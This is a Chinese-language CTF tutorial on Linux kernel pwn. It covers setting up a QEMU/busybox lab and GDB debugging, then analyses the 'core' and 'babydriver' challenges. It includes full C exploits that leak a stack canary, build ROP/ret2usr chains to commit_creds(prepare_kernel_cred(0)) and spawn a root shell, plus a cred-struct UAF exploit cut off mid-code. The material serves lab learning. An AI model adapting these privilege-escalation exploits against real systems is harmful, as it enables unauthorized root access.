kernel PWN入门

环境搭建

这一部分是参考的arttnba3师傅的这篇博客,Linux Kernel II:内核简易食用指北

这里简化了文章中的许多内容,旨在快速的搭建起一个kernel pwn的环境和理解pwn题中的一些关键文件的来源。如果想对kernel的知识有更深的一些了解,十分推荐去看arttnba3师傅的原文。

1.安装依赖

1
2
3
$ sudo apt-get update
$ sudo apt-get install git fakeroot build-essential ncurses-dev xz-utils
$ qemu flex libncurses5-dev libssl-dev bc bison libglib2.0-dev libfdt-dev libpixman-1-dev zlib1g-dev libelf-dev
Q

2.获取内核镜像

直接下载发行版中已有的内核镜像,首先用以下命令列出可以下载的内核镜像:

1
$ sudo apt search linux-image- 
ARDUINO

这里我选择的是

1
$  sudo apt download linux-image-unsigned-6.8.0-40-generic
ARDUINO

下载下来是一个deb文件,解压:

1
$ dpkg -X ./linux-image-unsigned-6.8.0-40-generic_6.8.0-40.40~22.04.3_amd64.deb extract
SUBUNIT

其中,\extract\boot下的vmlinuz-6.8.0-40-generic就是我们之后经常见到的bzImage内核镜像文件。

使用 busybox 构建文件系统

1.编译busybox

首先可以在https://busybox.net/downloads/这里下载自己想要的版本。我选择的是busybox-1.37.0.tar.bz2这个版本

1
$ wget https://busybox.net/downloads/busybox-1.37.0.tar.bz2
AWK

解压:

1
$ tar -jxvf busybox-1.37.0.tar.bz2
CRYSTAL

接下来我们配置编译选项:

1
2
$ cd busybox-1.37.0/
$ make menuconfig
POWERSHELL

进入到图形化界面,使用空格勾选Settings–>**Build static binary (no shared libs) (NEW)**。

接下来就是编译:

1
2
$ make -j$(nproc)
$ make install
CRYSTAL

编译完成后会生成一个 _install 目录,接下来我们将会用它来构建文件系统。

2.构建文件系统

初始化:

1
2
3
4
5
6
$ cd _install/
$ mkdir -pv {bin,sbin,etc,proc,sys,dev,home/ctf,root,tmp,lib64,lib/x86_64-linux-gnu,usr/{bin,sbin}}
$ touch etc/inittab
$ mkdir etc/init.d
$ touch etc/init.d/rcS
$ chmod +x ./etc/init.d/rcS
SHELL

配置 etc/inttab ,写入如下内容:

1
2
3
4
5
6
::sysinit:/etc/init.d/rcS
::askfirst:/bin/ash
::ctrlaltdel:/sbin/reboot
::shutdown:/sbin/swapoff -a
::shutdown:/bin/umount -a -r
::restart:/sbin/init
ASCIIDOC

然后在_install目录下创建init文件,写入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/bin/sh
chown -R root:root /
chmod 700 /root
chown -R ctf:ctf /home/ctf

mount -t proc none /proc
mount -t sysfs none /sys
mount -t tmpfs tmpfs /tmp
mkdir /dev/pts
mount -t devpts devpts /dev/pts

echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict

echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"

cd /home/ctf
su ctf -c sh

poweroff -d 0 -f
BASH

添加可执行权限:

1
$ chmod +x ./init
SHELL

接下来配置用户组:

1
2
3
4
5
$ echo "root:x:0:0:root:/root:/bin/sh" > etc/passwd
$ echo "ctf:x:1000:1000:ctf:/home/ctf:/bin/sh" >> etc/passwd
$ echo "root:x:0:" > etc/group
$ echo "ctf:x:1000:" >> etc/group
$ echo "none /dev/pts devpts gid=5,mode=620 0 0" > etc/fstab
SHELL

3.打包镜像

使用如下命令打包文件系统为 cpio 格式

1
$ find . | cpio -o --format=newc > ../../rootfs.cpio
ROUTEROS

这里我打包到了桌面上,当然这里可以打包到任意喜欢的位置。

4.使用qemu运行内核

首先下载qemu:

1
2
$ sudo apt update
$ sudo apt install qemu-system-x86 qemu-utils
GAMS

将之前的rootfs.cpio和bzImage(就是这个:vmlinuz-6.8.0-40-generic)放在同一个目录下

然后我们编写启动脚本:

1
$ touch boot.sh
SHELL

向脚本中写入:

1
2
3
4
5
6
7
8
9
10
11
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-monitor /dev/null \
-append "root=/dev/ram rdinit=/sbin/init console=ttyS0 oops=panic panic=1 loglevel=3 quiet kaslr" \
-cpu kvm64,+smep \
-smp cores=2,threads=1 \
-nographic \
-s
BASH

接下来运行脚本:

1
$ sh boot.sh
STATA

启动成功:

1
2
3
4
5
6
7
8
9

Boot took 5.24 seconds

~ $ ls /
bin etc init lib64 proc sbin tmp
dev home lib linuxrc root sys usr
~ $ whoami
ctf
~ $
TCL

至此,我们构建了一个十分简单内核并且成功运行。

kerinel pwn的一些基础知识

关于这个部分,网上已经有不少优秀的文章了,并且kernel的知识多的吓人,我在此就不多做赘述了,为大家贴出几篇优秀的文章:

ctfwiki

Linux Kernel Pwn 初探

钞sir师傅的论坛

Linux Kernel PWN | 01 From Zero to One

一些常用的命令和调试方法

常用的命令

打包文件系统为 cpio 格式:

1
$ find . | cpio -o --format=newc > ../rootfs.cpio
ROUTEROS

解压cpio文件:

1
$ cpio -idmv < rootfs.cpio
CRYSTAL

如果我们用file命令发现文件经过gzip压缩,就像这样:

1
2
$ file ../rootfs.cpio
../rootfs.cpio: gzip compressed data, last modified: Tue Jul 4 08:39:15 2017, max compression, from Unix, original size modulo 2^32 2844672
FORTRAN

就要使用:

1
2
$ gunzip -c ../rootfs.cpio > rootfs.cpio.extracted  # 解压gzip,生成cpio归档文件
$ cpio -idmv < rootfs.cpio.extracted # 提取cpio归档内容到当前目录
SHELL

由于我们在kernel中写exp要用c语言并且编译为可执行程序,所以要用到:

1
$ gcc exp.c -static -masm=intel -g -o exp
AUTOIT

有时题目不会给我们vmlinux这个文件,我们可以用脚本提取出来,提取vmlinux的脚本也可以在Linux的GitHub上找到:https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux。
这里我们也直接给出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/bin/sh
# SPDX-License-Identifier: GPL-2.0-only
# ----------------------------------------------------------------------
# extract-vmlinux - Extract uncompressed vmlinux from a kernel image
#
# Inspired from extract-ikconfig
# (c) 2009,2010 Dick Streefland <dick@streefland.net>
#
# (c) 2011 Corentin Chary <corentin.chary@gmail.com>
#
# ----------------------------------------------------------------------

check_vmlinux()
{
# Use readelf to check if it's a valid ELF
# TODO: find a better to way to check that it's really vmlinux
# and not just an elf
readelf -h $1 > /dev/null 2>&1 || return 1

cat $1
exit 0
}

try_decompress()
{
# The obscure use of the "tr" filter is to work around older versions of
# "grep" that report the byte offset of the line instead of the pattern.

# Try to find the header ($1) and decompress from here
for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
do
pos=${pos%%:*}
tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
check_vmlinux $tmp
done
}

# Check invocation:
me=${0##*/}
img=$1
if [ $# -ne 1 -o ! -s "$img" ]
then
echo "Usage: $me <kernel-image>" >&2
exit 2
fi

# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap "rm -f $tmp" 0

# That didn't work, so retry after decompression.
try_decompress '\037\213\010' xy gunzip
try_decompress '\3757zXZ\000' abcde unxz
try_decompress 'BZh' xy bunzip2
try_decompress '\135\0\0\0' xxx unlzma
try_decompress '\211\114\132' xy 'lzop -d'
try_decompress '\002!L\030' xxx 'lz4 -d'
try_decompress '(\265/\375' xxx unzstd

# Finally check for uncompressed images or objects:
check_vmlinux $img

# Bail out:
echo "$me: Cannot find vmlinux." >&2
BASH

把代码复制到文件中,保存为extract-vmlinux,然后赋予执行权限。提取vmlinux命令如下:

1
./extract-vmlinux ./bzImage > vmlinux
BASH

之后我们就可以用ROPgadget或者ropper找gadget了。

动态调试的方法

介绍一下使用GDB进行动调的方法:

首先我们要得到.ko驱动的符号表,这个地址在内核中的/sys/module/core/section/.text里,可以用cat来查看,但是这个位置一般都需要root权限,为了方便调试,要修改init中的启动权限:

1
2
#setsid /bin/cttyhack setuidgid 1000 /bin/sh 
setsid /bin/cttyhack setuidgid 0 /bin/sh -> root
GRADLE

接下来启动内核,使用cat /sys/module/core/section/.text得到.text的地址。

使用gdb ./vmlinux -q启动gdb,
但是此时没有加载驱动.ko的符号表,需要使用

1
pwndbg> add-symbol-file filename.ko textaddr
SMALI

来加载,

然后就可以使用b下断点了,之后再使用

1
pwndbg> target remote localhost:1234
APACHE

就可以连接上kernel了。

两个例题

core

解压完成后有四个文件,

  • bzImage:压缩的内核映像
  • core.cpio:文件系统映像
  • start.sh:用于启动 kernel 的 shell 的脚本
  • vmlinux:静态链接的可执行文件格式的 Linux 内核

先让我们查看一下start.sh的内容:

1
2
3
4
5
6
7
8
9
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \ # 启用 GDB 调试服务器,默认监听 localhost:1234
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

LIVESCRIPT

启用了kaslr保护,并且最好将64M改为128M或者256M,否则可能会启动失败。

接下来把core.cpio解压出来,查看init文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms # 将内核符号表转储到 /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict # 禁止普通用户查看内核符号地址,但是由于上一行转储了文件,这一行实际上就没有用了
echo 1 > /proc/sys/kernel/dmesg_restrict #禁止普通用户查看内核日志,即不能通过dmesg查看kernel的信息
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko #加载内核模块 core.ko

poweroff -d 120 -f & #后台启动 120 秒后强制关机,可以把这一行注释
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0 -f

BASH

从上面的脚本注意到:/proc/kallsyms的内容被转储到了/tmp/kallsyms,这就意味着我们可以在普通权限下得到函数的地址。

然后,让我们着重分析core.ko这个文件,checksec一下:

1
2
3
4
5
6
Arch:       amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)
Stripped: No
YAML

拖进ida分析,

  • 先来看看init函数:在/proc 文件系统中动态创建一个名为 core 的虚拟文件,我们对ioctl等驱动函数的访问就是通过这个文件来实现的。同时在core_fops里定义了三个回调函数:core_writecore_ioctl,core_release

    1
    2
    3
    4
    5
    6
    __int64 init_module()
    {
    core_proc = proc_create("core", 438LL, 0LL, &core_fops);
    printk(&unk_2DE);
    return 0LL;
    }
    CSHARP
  • exit_core函数:移除/proc/core

    1
    2
    3
    4
    5
    6
    7
    8
    __int64 exit_core()
    {
    __int64 result; // rax

    if ( core_proc )
    return remove_proc_entry("core");
    return result;
    }
    ASPECTJ
  • core_release函数:

    1
    2
    3
    4
    5
    __int64 core_release()
    {
    printk(&unk_204);
    return 0LL;
    }
    SCSS
  • core_ioctl函数:定义了三条命令,我们可以使用ioctl(fd, cmd, …)来执行不同的操作。可以看到,当cmd=0x6677889C时,我们可以设置off这个全局变量的值。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    __int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
    {
    switch ( a2 )
    {
    case 0x6677889B:
    core_read(a3);
    break;
    case 0x6677889C:
    printk(&unk_2CD);
    off = a3;
    break;
    case 0x6677889A:
    printk(&unk_2B3);
    core_copy_func(a3);
    break;
    }
    return 0LL;
    }
    MIPSASM
  • core_read函数:存在canary,并且发现** copy_to_user(a1, &v5[off], 64LL);**可以从v5[off]的位置拷贝64字节到用户空间上,之前提到off的值是可以被控制的,那么我们就可以轻松的泄露出canary的值。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    unsigned __int64 __fastcall core_read(__int64 a1)
    {
    char *v2; // rdi
    __int64 i; // rcx
    unsigned __int64 result; // rax
    char v5[64]; // [rsp+0h] [rbp-50h] BYREF
    unsigned __int64 v6; // [rsp+40h] [rbp-10h]

    v6 = __readgsqword(0x28u);
    printk(&unk_25B);
    printk(&unk_275);
    v2 = v5;
    for ( i = 16LL; i; --i )
    {
    *(_DWORD *)v2 = 0;
    v2 += 4;
    }
    strcpy(v5, "Welcome to the QWB CTF challenge.\n");
    result = copy_to_user(a1, &v5[off], 64LL);
    if ( !result )
    return __readgsqword(0x28u) ^ v6;
    __asm { swapgs }
    return result;
    }
    SQF
  • core_copy_func函数:注意到传入的a1是__int64型,但是下面使用qmemcpy时是unsigned型,意味着我们可以使用负数来溢出。那么接下来我们只需要控制全局变量name的值就可以控制程序执行流了。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    __int64 __fastcall core_copy_func(__int64 a1)
    {
    __int64 result; // rax
    _QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF

    v2[8] = __readgsqword(0x28u);
    printk(&unk_215);
    if ( a1 > 63 )
    {
    printk(&unk_2A1);
    return 0xFFFFFFFFLL;
    }
    else
    {
    result = 0LL;
    qmemcpy(v2, &name, (unsigned __int16)a1);
    }
    return result;
    }
    SQF
  • core_write函数:前面提到这是FOP回调定义的函数,所以我们直接使用write这个函数,就能将数据传入name中。

    1
    2
    3
    4
    5
    6
    7
    8
    __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
    {
    printk(&unk_215);
    if ( a3 <= 0x800 && !copy_from_user(&name, a2, a3) )
    return (unsigned int)a3;
    printk(&unk_230);
    return 0xFFFFFFF2LL;
    }
    SCSS

    至此,逆向的工作就差不多了,漏洞利用的流程也很简单:

  • 1.设置off以泄露canary

  • 2.将payload传入name

  • 3.利用负数溢出打ROP

但是,还有一个小问题没有解决:本题是开启了KASLR保护的,我们还需要泄露函数地址和基地址。
先介绍几个概念:

  • raw_vmlinux_base:KASLR 加工前的内核加载基址
  • vmlinux_base:KASLR 加工后的内核加载基址

我们需要得到一个KASLR对内核基址的偏移,这个偏移offset=vmlinux_base - raw_vmlinux_base。

然后我们就可以通过这个offset得到其他函数和gadget的实际加载地址了。

raw_vmlinux_base的值可以通过checksec vmlinux得到:由于本题没开PIE,所以就是下面的0xffffffff81000000。

1
2
3
4
5
6
7
8
9
Arch:       amd64-64-little
Version: 4.15.8
RELRO: No RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0xffffffff81000000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
YAML

对于本题,由于内核符号表(/tmp/kallsyms)可读,所以我们选择泄露commit_credsprepare_kernel_cred这两个函数。

这两个函数的偏移我们可以直接写python脚本来泄露:

1
2
3
4
5
from pwn import *
elf = ELF("./vmlinux")
raw_vmlinux_base = 0xffffffff81000000
print(f"commit_creds: " + hex(elf.symbols['commit_creds'] - raw_vmlinux_base))
print(f"prepare_kernel_cred: " + hex(elf.symbols['prepare_kernel_cred'] - raw_vmlinux_base))
PYTHON

这里有一个问题,题目直接给出的vmlinux是有问题的,不能用,要用解压core.cpio出来得到的那个vmlinux。
得到:

1
2
commit_creds: 0x9c8e0
prepare_kernel_cred: 0x9cce0
APACHE

gadget的寻找还是可以用ROPgadget或ropper,但有的时候单独只用一个可能会找不到某些gadget,但是另一个可以找到(真奇怪。

官方的exp,这是使用ROP的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>
#include<fcntl.h>
#include<sys/stat.h>
#include<sys/types.h>
#include<sys/ioctl.h>

void spawn_shell()
{
if(!getuid())
{
system("/bin/sh");
}
else
{
puts("[*]spawn shell error!");
}
exit(0);
}

size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t vmlinux_base = 0;
size_t find_symbols()
{
FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");

if(kallsyms_fd < 0)
{
puts("[*]open kallsyms error!");
exit(0);
}

char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd))
{
if(commit_creds & prepare_kernel_cred)
return 0;

if(strstr(buf, "commit_creds") && !commit_creds)
{
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &commit_creds);
printf("commit_creds addr: %p\n", commit_creds);
vmlinux_base = commit_creds - 0x9c8e0;
printf("vmlinux_base addr: %p\n", vmlinux_base);
}

if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0;
}
}

if(!(prepare_kernel_cred & commit_creds))
{
puts("[*]Error!");
exit(0);
}

}

//保存用户态环境
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}

void set_off(int fd, long long idx)
{
printf("[*]set off to %ld\n", idx);
ioctl(fd, 0x6677889C, idx);
}

void core_read(int fd, char *buf)
{
puts("[*]read to buf.");
ioctl(fd, 0x6677889B, buf);

}

void core_copy_func(int fd, long long size)
{
printf("[*]copy from user with size: %ld\n", size);
ioctl(fd, 0x6677889A, size);
}

int main()
{
save_status();
int fd = open("/proc/core", 2);
if(fd < 0)
{
puts("[*]open /proc/core error!");
exit(0);
}

find_symbols();
ssize_t offset = vmlinux_base - raw_vmlinux_base;

set_off(fd, 0x40);

char buf[0x40] = {0};
core_read(fd, buf);
size_t canary = ((size_t *)buf)[0];
printf("[+]canary: %p\n", canary);

size_t rop[0x1000] = {0};

int i;
for(i = 0; i < 10; i++)
{
rop[i] = canary;
}

rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)


rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;
rop[i++] = commit_creds;

rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;

rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;

rop[i++] = (size_t)spawn_shell;

rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

write(fd, rop, 0x800);
core_copy_func(fd, 0xffffffffffff0000 | (0x100));
return 0;
}

ARDUINO

接下来把这个.c文件gcc后重新打包,启动kernel后执行这个文件,就可以提权了。

还有一种使用ret2user的方式,比起ROP更简单,但是只能在未开启 SMAP/SMEP 保护时使用,大体流程和上面差不多,只是在构造ROP时有一点点区别,这里就不再赘述了,给出exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>

#define POP_RDI_RET 0xffffffff81000b2f
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define POP_RDX_RET 0xffffffff810a0f49
#define POP_RCX_RET 0xffffffff81021e53
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define IRETQ 0xffffffff813eb448

size_t commit_creds = NULL, prepare_kernel_cred = NULL;

size_t user_cs, user_ss, user_rflags, user_sp;

void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void getRootPrivilige(void)
{
void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
int (*commit_creds_ptr)(void *) = commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

void getRootShell(void)
{
if(getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}

printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}

void coreRead(int fd, char * buf)
{
ioctl(fd, 0x6677889B, buf);
}

void setOffValue(int fd, size_t off)
{
ioctl(fd, 0x6677889C, off);
}

void coreCopyFunc(int fd, size_t nbytes)
{
ioctl(fd, 0x6677889A, nbytes);
}

int main(int argc, char ** argv)
{
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
saveStatus();

int fd = open("/proc/core", 2);
if(fd <0)
{
printf("\033[31m\033[1m[x] Failed to open the file: /proc/core !\033[0m\n");
exit(-1);
}

//get the addr
FILE* sym_table_fd = fopen("/tmp/kallsyms", "r");
if(sym_table_fd < 0)
{
printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
exit(-1);
}
char buf[0x50], type[0x10];
size_t addr;
while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf))
{
if(prepare_kernel_cred && commit_creds)
break;

if(!commit_creds && !strcmp(buf, "commit_creds"))
{
commit_creds = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds);
continue;
}

if(!strcmp(buf, "prepare_kernel_cred"))
{
prepare_kernel_cred = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred);
continue;
}
}

size_t offset = commit_creds - 0xffffffff8109c8e0;

// get the canary
size_t canary;
setOffValue(fd, 64);
coreRead(fd, buf);
canary = ((size_t *)buf)[0];

//construct the ropchain
size_t rop_chain[0x100], i = 0;
for(; i < 10;i++)
rop_chain[i] = canary;
rop_chain[i++] = (size_t)getRootPrivilige;
rop_chain[i++] = SWAPGS_POPFQ_RET + offset;
rop_chain[i++] = 0;
rop_chain[i++] = IRETQ + offset;
rop_chain[i++] = (size_t)getRootShell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp;
rop_chain[i++] = user_ss;

write(fd, rop_chain, 0x800);
coreCopyFunc(fd, 0xffffffffffff0000 | (0x100));
}

CPP

babydriver

题目链接:CISCN2017-babydriver

题目解压出来后,发现没有vmlinux文件,可以用上面提到的方法来提取。

还是先看看boot.sh这个脚本:

1
2
3
4
#!/bin/bash

qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep

BASH

开启了SEMP保护,没有KASLR。

解压rootfs.cpio后看看init:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag #设置文件flag的所有者为root用户和组。
chmod 400 flag #限制flag文件仅允许root用户读取,其他用户无权限。
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0 -f
BASH

加载了一个叫babydriver.ko的驱动,漏洞一般就在这里。

checksec一下:只开了NX

1
2
3
4
5
6
7
Arch:       amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x0)
Stripped: No
Debuginfo: Yes
YAML

拖进ida分析,

  • 首先是babydriver_init函数:初始化了/dev/babydev,在fop里定义了几个回调函数。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    int __cdecl babydriver_init()
    {
    __int64 v0; // rdx
    int v1; // edx
    __int64 v2; // rsi
    __int64 v3; // rdx
    int v4; // ebx
    class *v5; // rax
    __int64 v6; // rdx
    __int64 v7; // rax

    if ( (int)alloc_chrdev_region(&babydev_no, 0LL, 1LL, "babydev") >= 0 )
    {
    cdev_init(&cdev_0, &fops);
    v2 = babydev_no;
    cdev_0.owner = &_this_module;
    v4 = cdev_add(&cdev_0, babydev_no, 1LL);
    if ( v4 >= 0 )
    {
    v5 = (class *)_class_create(&_this_module, "babydev", &babydev_no);
    babydev_class = v5;
    if ( v5 )
    {
    v7 = device_create(v5, 0LL, babydev_no, 0LL, "babydev");
    v1 = 0;
    if ( v7 )
    return v1;
    printk(&unk_351, 0LL, 0LL);
    class_destroy(babydev_class);
    }
    else
    {
    printk(&unk_33B, "babydev", v6);
    }
    cdev_del(&cdev_0);
    }
    else
    {
    printk(&unk_327, v2, v3);
    }
    unregister_chrdev_region(babydev_no, 1LL);
    return v4;
    }
    printk(&unk_309, 0LL, v0);
    return 1;
    }
    SMALI
  • babyopen函数:在我们使用open打开设备文件时,会分配一个0x40大小的chunk,并将该chunk的指针存在全局变量babydev_struct.device_buf中。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    int __fastcall babyopen(inode *inode, file *filp)
    {
    __int64 v2; // rdx

    _fentry__(inode, filp);
    babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 37748928LL, 64LL);
    babydev_struct.device_buf_len = 64LL;
    printk("device open\n", 37748928LL, v2);
    return 0;
    }
    WREN
  • babyrelease函数:在使用close(fd)时调用该函数,释放babydev_struct.device_buf指向的chunk,但是未将指针置NULL,存在UAF。

    1
    2
    3
    4
    5
    6
    7
    8
    9
     int __fastcall babyrelease(inode *inode, file *filp)
    {
    __int64 v2; // rdx

    _fentry__(inode, filp);
    kfree(babydev_struct.device_buf);
    printk("device release\n", filp, v2);
    return 0;
    }
    SCSS
  • babyioctl函数:只有一个功能,当command=0x10001时,先free掉babydev_struct.device_buf指向的chunk,然后可以申请任意大小的堆块。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    __int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
    {
    size_t v3; // rdx
    size_t v4; // rbx
    __int64 v5; // rdx

    _fentry__(filp, *&command, arg);
    v4 = v3;
    if ( command == 0x10001 )
    {
    kfree(babydev_struct.device_buf);
    babydev_struct.device_buf = _kmalloc(v4, 0x24000C0LL);
    babydev_struct.device_buf_len = v4;
    printk("alloc done\n", 0x24000C0LL, v5);
    return 0LL;
    }
    else
    {
    printk(&unk_2EB, v3, v3);
    return -22LL;
    }
    }
    CPP

    babywrite和babyread函数就是正常的读写chunk,这里就不提了。

由上面的逆向分析可以发现,本题的漏洞是一个伪条件竞争的UAF漏洞,即:如果我们同时使用open打开两个设备,由于 babydev_struct.device_buf是一个全局变量,第二次会将第一次分配的空间给覆盖了。此时如果我们释放第一个,那么实际上就会将第二个给释放了,造成了UAF。

关于这里为什么要打开两个设备,不能只在一个设备里完成UAF,是因为:babyrelease这个函数并不是一个FOP定义的回调函数,我们不能使用。这个函数只会在close(fd)时自动调用,但是close后我们就不能再操作这个设备了。所以这里要用两个设备来构造UAF。

知道如何得到UAF,接下来就该想想怎么提权了,这里介绍两种方法:

改cred结构体

这种方法的利用思路是,利用ioctl调整一个chunk的大小为一个cred结构体的大小(0xa8),然后关闭该设备,再fork()出一个新进程,那么刚才被释放的chunk就会被分配做新进程的cred结构体,而我们此时还有另一个设备可以操控该chunk,这时只需将该cred结构体中的euid改为0(root)即可完成提权。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>

int main(void){
printf("[*]Start to exploit...\n");

int fd1 = open("/dev/babydev",2);
int fd2 = open("/dev/babydev",2);

ioctl(fd1,0x10001,0xa8); //修改为cred结构体大小的chunk
close(fd1); //得到垂悬指针

int pid = fork();

if(pid < 0){
printf("[x] Unable to fork the new thread, exploit failed.\n");
}
else if(pid == 0){
char buf[30] = {0};
